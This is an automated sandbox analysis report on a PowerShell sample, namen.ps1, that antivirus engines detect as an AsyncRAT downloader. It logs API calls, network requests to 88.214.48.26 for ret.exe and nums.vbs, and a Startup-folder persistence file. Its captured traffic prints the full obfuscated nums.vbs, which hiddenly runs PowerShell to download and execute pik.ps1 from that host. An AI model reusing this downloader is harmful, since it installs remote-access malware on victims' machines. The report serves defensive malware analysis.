popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

namen.ps1

Generic Malware Antivirus URL Format
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 April 28, 2025, 10:09 a.m. April 28, 2025, 10:13 a.m.
Size 1.3KB
Type ASCII text, with CRLF line terminators
MD5 a96761c1e3bed0f2c2f8e2d616f60d40
SHA256 520e0f5ca64d3c0b697d74da92af56766f13c04b0fa9f19c5bb23561160644c9
CRC32 39595AEE
ssdeep 24:DFCJlXNvzkgVdy9irykV9Qd6HrYORNO37Jx2xmfS02dguLCASxyFP37ZtSNjW+Io:DFCPNvAJiNLQd6H8gE7J88sd9L1F3lt2
Yara None matched

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
88.214.48.26 Active Moloch

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: Exception calling "Load" with "1" argument(s): "Could not load file or assembly
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: '501664 bytes loaded from System.Management.Automation, Version=1.0.0.0, Cultu
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: re=neutral, PublicKeyToken=31bf3856ad364e35' or one of its dependencies. An att
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: empt was made to load a program with an incorrect format."
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: At C:\Users\test22\AppData\Local\Temp\namen.ps1:30 char:46
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: + return [System.Reflection.Assembly]::Load <<<< ($bK)
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x00000077
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006c91d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006c91d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006c91d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006c91d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006c91d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006c91d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://88.214.48.26/tpnl98/ret.exe
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://88.214.48.26/tpnl98/nums.vbs
request GET http://88.214.48.26/tpnl98/ret.exe
request GET http://88.214.48.26/tpnl98/nums.vbs
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2552
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026db000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2552
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ef000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2552
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02069000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2552
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05610000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2552
region_size: 327680
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef40000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2552
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef40000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2552
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef40000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2552
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef30000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2552
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef30000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2552
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05611000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2552
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05476000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2552
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05477000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2552
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05620000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2552
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028a2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2552
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2552
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05478000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2552
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05479000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2552
region_size: 1703936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0aaf0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2552
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0ac50000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2552
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0ac51000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2552
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0ac52000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2552
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0ac53000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2552
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0ac54000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2552
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05612000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2552
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05613000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2552
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05614000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2552
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05615000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2552
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05621000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Windows\Temp\nums.vbs
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Data received *(*(*(*( *( *( *( *( *(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*( *(!*("*(#*($*(%*(&*('*((*()*(**(+*(,*(-*(.*(/*(0*(1*(2*(3*(4*(5*(6*(7*(8*(9*(:*(;*(<*(=*(>*(?*(@*(A*(B*(C*(D*(E*(F*(G*(H*(I*(J*(K*(L*(M*(N*(O*(P*(Q*(R*(S*(T*(U*(V*(W*(X*(Y*(Z*([*(\*(]*(^*(_*(`*(a*(b*(c*(d*(e*(f*(g*(h*(i*(j*(k*(l*(m*(n*(o*(p*(q*(r*(s*(t*(u*(v*(w*(x*(y*(z*({*(|*(}*(~*(*(€*(*(‚*(ƒ*(„*(…*(†*(‡*(ˆ*(‰*(Š*(‹*(Œ*(*(Ž*(*(*(‘*(’*(“*(”*(•*(–*(—*(˜*(™*(š*(›*(œ*(*(ž*(Ÿ*( *(¡*(¢*(£*(¤*(¥*(¦*(§*(¨*(©*(ª*(«*(¬*(­*(®*(¯*(°*(±*(²*(³*(´*(µ*(¶*(·*(¸*(¹*(º*(»*(¼*(½*(¾*(¿*(À*(Á*(Â*(Ã*(Ä*(Å*(Æ*(Ç*(È*(É*(Ê*(Ë*(Ì*(Í*(Î*(Ï*(Ð*(Ñ*(Ò*(Ó*(Ô*(Õ*(Ö*(×*(Ø*(Ù*(Ú*(Û*(Ü*(Ý*(Þ*(ß*(à*(á*(â*(ã*(ä*(å*(æ*(ç*(è*(é*(ê*(ë*(ì*(í*(î*(ï*(ð*(ñ*(ò*(ó*(ô*(õ*(ö*(÷*(ø*(ù*(ú*(û*(ü*(ý*(þ*(ÿ*(*(*(*(*(*(*(*(*(*( *( *( *( *( *(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*( *(!*("*(#*($*(%*(&*('*((*()*(**(+*(,*(-*(.*(/*(0*(1*(2*(3*(4*(5*(6*(7*(8*(9*(:*(;*(<*(=*(>*(?*(@*(A*(B*(C*(D*(E*(F*(G*(H*(I*(J*(K*(L*(M*(N*(O*(P*(Q*(R*(S*(T*(U*(V*(W*(X*(Y*(Z*([*(\*(]*(^*(_*(`*(a*(b*(c*(d*(e*(f*(g*(h*(i*(j*(k*(l*(m*(n*(o*(p*(q*(r*(s*(t*(u*(v*(w*(x*(y*(z*({*(|*(}*(~*(*(€*(*(‚*(ƒ*(„*(…*(†*(‡*(ˆ*(‰*(Š*(‹*(Œ*(*(Ž*(*(*(‘*(’*(“*(”*(•*(–*(—*(˜*(™*(š*(›*(œ*(*(ž*(Ÿ*( *(¡*(¢*(£*(¤*(¥*(¦*(§*(¨*(©*(ª*(«*(¬*(­*(®*(¯*(°*(±*(²*(³*(´*(µ*(¶*(·
Data received *(¸*(¹*(º*(»*(¼*(½*(¾*(¿*(À*(Á*(Â*(Ã*(Ä*(Å*(Æ*(Ç*(È*(É*(Ê*(Ë*(Ì*(Í*(Î*(Ï*(Ð*(Ñ*(Ò*(Ó*(Ô*(Õ*(Ö*(×*(Ø*(Ù*(Ú*(Û*(Ü*(Ý*(Þ*(ß*(à*(á*(â*(ã*(ä*(å*(æ*(ç*(è*(é*(ê*(ë*(ì*(í*(î*(ï*(ð*(ñ*(ò*(ó*(ô*(õ*(ö*(÷*(ø*(ù*(ú*(û*(ü*(ý*(þ*(ÿ*( *( *( *( *( *( *( *( *( *( *( *( *( *( *( *( *( *( *( *( *( *( *( *( *( *( *( *( *( *( *( *( *( *(! *(" *(# *($ *(% *(& *(' *(( *() *(* *(+ *(, *(- *(. *(/ *(0 *(1 *(2 *(3 *(4 *(5 *(6 *(7 *(8 *(9 *(: *(; *(< *(= *(> *(? *(@ *(A *(B *(C *(D *(E *(F *(G *(H *(I *(J *(K *(L *(M *(N *(O *(P *(Q *(R *(S *(T *(U *(V *(W *(X *(Y *(Z *([ *(\ *(] *(^ *(_ *(` *(a *(b *(c *(d *(e *(f *(g *(h *(i *(j *(k *(l *(m *(n *(o *(p *(q *(r *(s *(t *(u *(v *(w *(x *(y *(z *({ *(| *(} *(~ *( *(€ *( *(‚ *(ƒ *(„ *(… *(† *(‡ *(ˆ *(‰ *(Š *(‹ *(Œ *( *(Ž *( *( *(‘ *(’ *(“ *(” *(• *(– *(— *(˜ *(™ *(š *(› *(œ *( *(ž *(Ÿ *(  *(¡ *(¢ *(£ *(¤ *(¥ *(¦ *(§ *(¨ *(© *(ª *(« *(¬ *(­ *(® *(¯ *(° *(± *(² *(³ *(´ *(µ *(¶ *(· *(¸ *(¹ *(º *(» *(¼ *(½ *(¾ *(¿ *(À *(Á *( *(à *(Ä *(Å *(Æ *(Ç *(È *(É *(Ê *(Ë *(Ì *(Í *(Î *(Ï *(Ð *(Ñ *(Ò *(Ó *(Ô *(Õ *(Ö *(× *(Ø *(Ù *(Ú *(Û *(Ü *(Ý *(Þ *(ß *(à *(á *(â *(ã *(ä *(å *(æ *(ç *(è *(é *(ê *(ë *(ì *(í *(î *(ï *(ð *(ñ *(ò *(ó *(ô *(õ *(ö *(÷ *(ø *(ù *(ú *(û *(ü *(ý *(þ *(ÿ *( *( *( *( *( *( *( *( *( *( *( *( *( *( *( *( *( *( *( *( *( *( *( *( *( *( *( *( *( *( *( *( *( *(! *(" *(# *($ *(% *(& *(' *(( *() *(* *(+ *(, *(- *(. *(/ *(0 *(1 *(2 *(3 *(4 *(5 *(6 *(7 *(8 *(9 *(: *(; *(< *(= *(> *(? *(@ *(A *(B *(C *(D *(E *(F *(G *(H *(I *(J *(K *(L *(M *(N *(O *(P *(Q *(R *(S *(T *(U *(V *(W *(X *(Y *(Z *([ *(\ *(] *(^ *(_ *(` *(a *(b *(c *(d *(e *(f *(g *(h *(i *(j *(k *(l *(m *(n *(o *(p *(q *(r *(s *(t *(u *(v *(w *(x *(y *(z *({ *(| *(} *(~ *( *(€ *( *(‚ *(ƒ *(„ *(… *(† *(‡ *(ˆ *(‰ *(Š *(‹ *(Œ *( *(Ž *( *( *(‘ *(’ *(“ *(” *(• *(
Data received !ÿꬖoŽò¬–Ðú¬–¡Þ­–dZ ­–•L­–—4­–¬"­–Wó*­–aK2­–DÆ:­–‘ B­–xmJ­–R­–PZ­–CRb­–‡§j­–º€r­– œz­–›R‚­–AkŠ­–Ö,’­–¯š­–V¢­–𚪭–bв­–ü9º­–“%­–õBÊ­–uÒ­–>Ú­–‘⭖›’ꭖÆ|ò­–¿ ú­–AÇ®–v+ ®–çú®–h^®–*£"®–Ò’*®–ú}2®–yt:®–!B®–åJ®–ð…R®–(wZ®–LOb®–3­j®–à r®–Έz®–#‚®–>Š®–½ï’®–< š®–‘À¢®–ª®–‹²®–º®–8è®–ØÊ®–Ö”Ò®–ö®Ú®–ãa⮖"1ꮖ˜ñò®–ɲú®–Õ8¯–Òè ¯–Hò¯–/ ¯–zš"¯–š¨*¯–1”2¯–.8:¯–D%B¯–×J¯–ŽÕR¯–° Z¯–Õb¯–Ãåj¯–ér¯–Hz¯–¯‚¯–ÊŠ¯–9’¯–„}š¯–­Ï¢¯–¶>ª¯–ÇŽ²¯–œuº¯–ˆ˜¯–Êbʯ– ³Ò¯–û¸Ú¯–¼Ê⯖ž(ꯖÛÐò¯–6`ú¯–Uí°–N? °–@y°–¢j°–„‹"°–+Ð*°–Kq2°–Ôº:°–xÇB°–úJ°– ïR°–>Z°–A&b°–‰Ÿj°–áör°–uµz°–;‚°–¯ÁŠ°–ø’°–œÜš°–ä#¢°–¼?ª°–NG²°–Eºº°–çC°–ÁÊ°–ýÒ°–ÔÚ°–ô€Ⱆ¶ý갖l'ò°–Tÿú°–6W±–ºW ±–Øɱ–Xα–èÊ"±–FO*±–v2±–R`:±–ÙjB±–†"J±–ÔJR±–|Z±–9%b±–ñj±–]!r±–9ìz±–s‚±–ë׊±–‘€’±– š±–#碱–=†ª±–ϲ±–¦cº±–DZ–Xäʱ–pÀÒ±–¨]Ú±–L ⱖ›¯걖à ò±–`Ïú±–ŒU²–²" ²–·­²–I²–ÂŒ"²–þX*²–92²–:²–!B²–¤9J²–A–R²–ˆ×Z²–2b²–cj²–ÿCr²–«Lz²–oØ‚²–»TŠ²–¾h’²–½"
Data received xHvtpxzDufxHrqgafoWgxHDiOPtAlsxHDErAanCwxHjBwkYHRGyHLYLvsEqJyHVMPqrTjdyHTVazNOJBzHIbuOKuBWzHqOlIecVWzHDBDmXDGfzHXvOVvZvDAIyUFQAaKzAITYNhOrjIBIvBEugaYQBIHAaXrEfVBINjVnbrTeBIYHlzwWmJCIhtmKgjiLCIEpzMQmuWCIwvcJjdjhDIJMNjVLVpDImDQWitcrDInjSIFZsrDItNWeebzzDIcMASsMZYEIsLsAnrLbEINPvGNEygEIjOgPTOKRFIBpiNAVMbFIjjXNEvInFIaEKSZBwoFIjyHiTjBMGINreImZVfGILPzhSGfkGINzeiPeVcHIhqpdVKeGIIVZGYZYiJIItgxHmiOUIIbKrvSsSYIITnDZgdVvIIHiATwClUJIcNzFKWgdJIVvOdKPBrJIzccJJgfJKIIlVmkFBMKIrALlNcFMKISmEWkHiQKIuiuQsiNYKIXQUTIykZKIobLZuxqZKIXYNPrQEpKIQloWhxosKIlJICyaStKIlPcPxpNeLIxyYZNogfLITmLhKPVhLITxamLRwnLIssAnPjbwLIZfiZSLUCMIqilGdSXMMIkwqqxZUNMIPcPdkRCVMIGcFITNEzMIXMRQTntLNIDUUBaigPNIWkRxejcQNIyCovzWoZNIasSbeVRcNIScjiLHVdNIskmrGETwNIeBgDCBWJOINUBhiCqOOIXngWhWBiOIjGhMbeyjOIyrvxQwymOIAjZsRJQDPIuyJiTofZPIXHJkwbLhPIHYWZqKGoPIPjhfCQZoPIQPWFosChQIAXPPLoviQIqisHSmKlQIyebUBbGqQIiHXIqyKzQITmgQUoDBRIKxTLktWCRIEdgmspwCRIKGjUTOKDRITeAXmJjIRIPbmPKFMkRILnyDJFJlRIXfDgVMtoRIQGkFoIkDSIKcgVgElDSImODlwcBJSIpDUIissSSIKpaalCfzCWJYYYTJIzxtayiVtGDnDvKSlqfvbyJFyZifAyIPchQKYwXlgfHFYRWhmRNISxIjQSUaqdvUXOlwFaUOtToWReGHdbSIxTtEbmrCTIHIKYnuFFTIILhUpgDlTIQJBxDPclTIRXDRooorTIWwOWGdJsTIgHhSmClAUIvgxYkLCLUIqxFxoXvNUIJnztMqvYUIpHkHrHjsUIXEObJmrQVIhGpMrHTYVILyihATdYVIejFngPVPWIEyjeZNZPWIvsFNmOLTWIcPeailkAXITnHkKLUOXIDMazLBCbXIjZTsJfJnXIhJJJtasxXIrVDBHzsMYIsoCYYRWOYIkXLMfdbYYILbnbKEvZYIPPSBSPNeYIYFyGHucmYIEXSmDxQnYIRXiCeGerYIMPSPcxzxYICugnAiJHZIFUvmLUQIZIiRdKroyKZIalAQuqmTZIrIdNJxKWZIpEqYnPylZIysDKVbVvZIUhealUiAaIyQBOAYNLaIiFilUQTQaInXHQysStaIqEqOWVXEbIkdqGHTFKbINRxJkIvLbIwHKPLnCnbIpacquotrbIpFdmvugHcIVVouWgPWcIPoGzhifncIXAaTgsEqcIahONSgNrcIhVAFsOEycICtsIoXiEdIuebXIsnKdIHPmjapabdIychBMEUedIXVYSmJSrdIvMxzJxtAeIsFgrTNuMeIvTiZHsnWeIQkXPAtEoeIeFnruOSEfIRMrBOvqgfISByFOzvcgIAMBuGlcrgIDVDXkdsugIfJgsDezChICbZdVQNDhIkCbkGnuQhItvMThHBehIKvCbRbGlhIeZrZYcVxhIUbyxvHwIiIGwrcflmNiIpwSlCIajiIiznhtMNxiIQCCVlUWCjIWiSeKCGGjITfEesKmfjIKzldYKUwjIccVtXaQFkIJyAQxHgOkIGfYADdgQkILKCwQLapkIYYhNriEBlIXcyHUNnNlIDlPlBckPlIkjUaYxHVlIStGXPpbWlImCHbRgYglIQDUUPgrImIRcroeSCtmItquuvPbvmIJBZynbsUnIeVmtfTZZnInkYMzVpqnINLSoTGCMoIapyBhXzVoIZLjRfxHnoIJcqpwQcOpIEzvoOdccpIGDaCQSxfpIbmVxUaptpInlAhDMxxpIuAiJdAGCqIWZBxXdpCqIjsuJNlGEqInuEqWIyNqIVpjfTTnrqIYleQnjWtqIKHWEDQXDrIHYdDkhxGrIUnAeWqfNrIdnJxejxXrICNsBZQherIuDCsptAkrIrpLGEcwprIyBYYmvHvrIawSbiDkwrIGgKCVGAyrIGgHGxmSAsIUHiDHRpAsIZqLjWvNBsINuomvJlFsIQUAUQdUusIObIQCLNBtIYgYvcTfNtISDnJsuNPuIXRoWGgUXuIqAAAjvOouIikoVOSkzuIGuUmEdUEvIvXixwTQTvIQtshiHSTvIdxmERrdXvIxPwnbfybvIlBpifXflvIWJtnbBoovILxloWWZsvIdyqAjbhCwItkOuYhIOwIEmSWOitkwIEVvHjBMvwIVsCjyQDxwIdcWLtDOBxIMVILlousxIMcjWNyjByIGbRffUjEyIykJQjkZLyIdBFHlImayIzqzRblYgyIorfIjpwxyIrNHWSAXjzIctOxxVjqzIMjKIFautzIMYxSXPZzzIKfgckcJSAJ
Data received HTTP/1.1 200 OK Content-Type: text/vbscript Last-Modified: Wed, 23 Apr 2025 20:40:56 GMT Accept-Ranges: bytes ETag: "18b8aa390b4db1:0" Server: Microsoft-IIS/10.0 Date: Mon, 28 Apr 2025 06:12:31 GMT Content-Length: 422 Set xAbcYz = CreateObject("WScript.Shell") q1 = "powershell" q2 = "-Command" q3 = "$" & Chr(97) & "x = New-Object Net.WebClient;" q4 = "$" & Chr(98) & "x = $" & Chr(97) & "x.DownloadString(" q5 = "'" & "http://88.214.48.26/tpnl98/pik.ps1" & "'" q6 = ");" q7 = "[ScriptBlock]::Create($" & Chr(98) & "x).Invoke()" finalCmd = q1 & " " & q2 & " """ & q3 & q4 & q5 & q6 & q7 & """" xAbcYz.Run finalCmd, 0, True
Data sent GET /tpnl98/ret.exe HTTP/1.1 Host: 88.214.48.26 Connection: Keep-Alive
Data sent GET /tpnl98/nums.vbs HTTP/1.1 Host: 88.214.48.26
host 88.214.48.26
file C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\App.url
CTX powershell.trojan.asyncrat
VIPRE Trojan.GenericKD.76289507
Arcabit Trojan.Generic.D48C15E3
Avast Script:SNH-gen [Trj]
Kaspersky HEUR:Trojan.PowerShell.Generic
BitDefender Trojan.GenericKD.76289507
MicroWorld-eScan Trojan.GenericKD.76289507
Emsisoft Trojan.GenericKD.76289507 (B)
Google Detected
Antiy-AVL Trojan[Downloader]/PowerShell.AsyncRAT
Microsoft TrojanDownloader:PowerShell/AsyncRAT.YTS!MTB
GData Script.Trojan.Agent.VR9C51
Ikarus Trojan-Downloader.PowerShell.AsyncRAT
AVG Script:SNH-gen [Trj]
Time & API Arguments Status Return Repeated

send

 buffer: GET /tpnl98/ret.exe HTTP/1.1 Host: 88.214.48.26 Connection: Keep-Alive
socket: 1544
sent: 76
1 76 0

send

 buffer: GET /tpnl98/nums.vbs HTTP/1.1 Host: 88.214.48.26
socket: 1544
sent: 53
1 53 0